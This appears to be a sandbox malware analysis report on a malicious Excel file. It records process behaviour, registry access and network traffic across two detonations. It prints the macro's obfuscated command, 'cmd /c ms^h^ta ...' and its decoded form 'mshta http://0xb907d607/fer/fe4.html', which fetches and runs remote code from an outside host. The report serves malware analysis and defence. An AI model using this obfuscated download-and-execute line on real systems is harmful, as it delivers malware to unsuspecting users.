Analysis Overview
SHA256
8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683
Threat Level: Known bad
The file 8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Suspicious Office macro
System Location Discovery: System Language Discovery
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 16:42
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 16:42
Reported
2024-11-11 16:44
Platform
win7-20240903-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2756 wrote to memory of 2020 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2756 wrote to memory of 2020 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2756 wrote to memory of 2020 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2756 wrote to memory of 2020 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2020 wrote to memory of 2552 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2020 wrote to memory of 2552 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2020 wrote to memory of 2552 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2020 wrote to memory of 2552 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe4.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/2756-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2756-1-0x000000007293D000-0x0000000072948000-memory.dmp
memory/2756-2-0x000000007293D000-0x0000000072948000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 16:42
Reported
2024-11-11 16:44
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
143s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1028 wrote to memory of 232 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1028 wrote to memory of 232 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 232 wrote to memory of 2440 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 232 wrote to memory of 2440 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe4.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 199.111.78.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/1028-0-0x00007FFF8E58D000-0x00007FFF8E58E000-memory.dmp
memory/1028-1-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp
memory/1028-2-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp
memory/1028-3-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp
memory/1028-4-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-5-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-7-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp
memory/1028-8-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-6-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp
memory/1028-11-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-10-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-9-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-12-0x00007FFF4BE50000-0x00007FFF4BE60000-memory.dmp
memory/1028-14-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-13-0x00007FFF4BE50000-0x00007FFF4BE60000-memory.dmp
memory/1028-16-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-15-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-27-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
memory/1028-28-0x00007FFF8E58D000-0x00007FFF8E58E000-memory.dmp
memory/1028-29-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | c6c8a00d82d45de26c8341fce901686d |
| SHA1 | 780bedda17cd9b822b448c3a08202b403bcf18f0 |
| SHA256 | c1944ba06e63d9831a4c5a667df26a5b99491e9559a8107827fb963ce6deab24 |
| SHA512 | 8c6c38feab33206ad9fd1c0289251fa6712673f3974d797e26cf828c77998f1779abda9c42eb02b3a3422da5b4c5726d2308b2ab6797f92506d20bb855ee8bfe |